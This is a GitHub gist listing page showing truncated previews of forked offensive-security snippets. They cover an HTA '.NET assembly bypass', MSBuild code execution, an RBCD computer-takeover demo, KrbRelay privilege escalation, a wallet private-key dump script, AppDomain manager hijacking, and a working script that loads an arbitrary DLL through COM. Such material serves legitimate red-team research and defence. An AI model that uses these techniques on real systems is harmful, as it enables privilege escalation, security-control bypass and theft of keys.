Skip to content

Instantly share code, notes, and snippets.

View secdev02's full-sized avatar

Casey secdev02

8 followers · 0 following
View GitHub Profile
@secdev02
secdev02 / honeybadger.hta
Created September 3, 2024 17:11 — forked from djhohnstein/honeybadger.hta
HoneyBadger PNG - .NET Assembly Bypass
<html>
<img id="HoneyBadger" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABAAAAAKtCAIAAAA2LYveAAAACXBIWXMAAA7zAAAO8wEcU5k6AAAAEXRFWHRUaXRsZQBQREYgQ3JlYXRvckFevCgAAAATdEVYdEF1dGhvcgBQREYgVG9vbHMgQUcbz3cwAAAALXpUWHREZXNjcmlwdGlvbgAACJnLKCkpsNLXLy8v1ytISdMtyc/PKdZLzs8FAG6fCPGXryy4AAovrklEQVR42ty9i5bjSJIsFgGAZGZWVnX1vFa60tmj/z/6CR19ymp1R3dmerrrkZl8ACFztwiH40kwM6tnJW5PLZMEgXghYO5ubh7/z//jfw8hxOELn1RVFeZedZBvU0r2iX8/ffFs09fSr6qY1o+fXLqz9/yK/3ZdZ+8H/3Yn+9NeK5eIYTfbWfbLfm7dvHQt39tI2ldx8uL5l8Z/cFg5Cfu1MBRz81Kt9W7uPNG3x/d0dl7asDb76/M4bfP0yLbM49Jho3a2C+ttaR0uvTDO/if9RLcd3nT6Gk3c7Hl27vM4eT9dnzzlaApWzhAXzs8/67qu9GVfHbt73Nl1HSv8l7q2O3btpW3P6A5WirShi2WkZQdomtPsDdK27agB/PZY53VbxUav3OjVK/7ZNHv8o8s+H3Zpa54BDcA5bXnjYH9z8b1OyvPlcsF7fti2id3UraPe6atpGn6FI4/P3/EnD8D5tUfywq9affFU1oUmHvNC0hdbUsurmV9XOhQ8Unpdc6m0bD+6Jf/Grp/xC4elYpfxwsHlXN1wPejnqSlLBWfBDFW4QVOsOu7DEbPI3kXsPDjb8dxyQPDv+Xw+nS7YsXe7g05nbJrdfr9v6n3u/uXy9PKNS/3u7u5wOKCvGDR88/z8HEOtUyYvncQaDau6c3kSVFxdsmGkqk3dk77w+ePj44cPH5qd7JzpdNQ+5hfOjFbhX1xOxrSRUcUnuNzxeMSlcSg+5ySi
@secdev02
secdev02 / gist:e904144bfd9c37e51694691a001c7df1
Created September 3, 2024 17:06 — forked from leftp/gist:8b9c8e0a2ad199da5e763343718233f8
MSBuild - Property functions
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
<Target Name="Hello" >
<!-- Call ANY .NET API -->
<!--
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@secdev02
secdev02 / rbcd_demo.ps1
Created August 29, 2024 17:10 — forked from HarmJ0y/rbcd_demo.ps1
Resource-based constrained delegation computer DACL takeover demo
# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami
# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"
@secdev02
secdev02 / notes.md
Created August 26, 2024 16:36 — forked from ergot86/notes.md

What to debug?

Hyper-v worker process

  • User mode debugging (easy).
  • Symbols available.
  • Attack surface: mostly Gen-1 VMs, device emulation, x86 emulation (for MMIO accesses).

Debugging options:

  1. Attach to running process with WinDbg.
@secdev02
secdev02 / krbrelay_privesc_howto.md
Created August 14, 2024 21:52 — forked from tothi/krbrelay_privesc_howto.md
Privilege Escalation using KrbRelay and RBCD

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

  • LDAP signing not required on Domain Controller (default!)
@secdev02
secdev02 / dump_wallet_addresses.py
Created July 29, 2024 19:22 — forked from provegard/dump_wallet_addresses.py
Python script for dumping wallet addresses and private keys
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------------------
# This software is in the public domain, furnished "as is", without technical
# support, and with no warranty, express or implied, as to its usefulness for
# any purpose.
#
# Usage:
# ./dump_wallet_addresses.py <wallet binary>
#
@secdev02
secdev02 / MyAppDomainManager.cs
Created July 17, 2024 19:51 — forked from djhohnstein/MyAppDomainManager.cs
AppDomain Manager Hijacking
using System;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
@secdev02
secdev02 / apiserver.py
Created July 10, 2024 18:05 — forked from earonesty/apiserver.py
# very simple RPC server in python
import sys, json
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse as urlparse
import threading
import logging
log = logging.getLogger(__name__)
class ApiError(Exception):
@secdev02
secdev02 / DllLoadAnythingViaScript
Created July 9, 2024 20:13 — forked from rvrsh3ll/DllLoadAnythingViaScript
DynamicWrapperX - Dropper , Registration-Free Execution
#Doesn't Even Have to Be A Conformant COM DLL To trigger the load.
# Sample DLL To inject here
# https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1179
$manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="LiterallyDoesentMatter" version="6.6.6.0"/> <file name="Anyname.dll.anything"> <comClass description="Any Description HERE" clsid="{89565276-A714-4a43-91FE-EDACDCC0FFEE}" threadingModel="Both" progid="JustMakeSomethingUp"/> </file> </assembly>';
$ax = new-object -Com "Microsoft.Windows.ActCtx"
$ax.ManifestText = $manifest;
$DWX = $ax.CreateObject("JustMakeSomethingUp");
@secdev02
secdev02 / ProjectedFSLib.cs
Created June 24, 2024 13:57 — forked from udaken/ProjectedFSLib.cs
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
namespace ProjectedFSLib
{
static class Native
{
public static T? PtrToStructure<T>(IntPtr ptr) where T : struct
=> ptr == IntPtr.Zero ? default : Marshal.PtrToStructure<T>(ptr);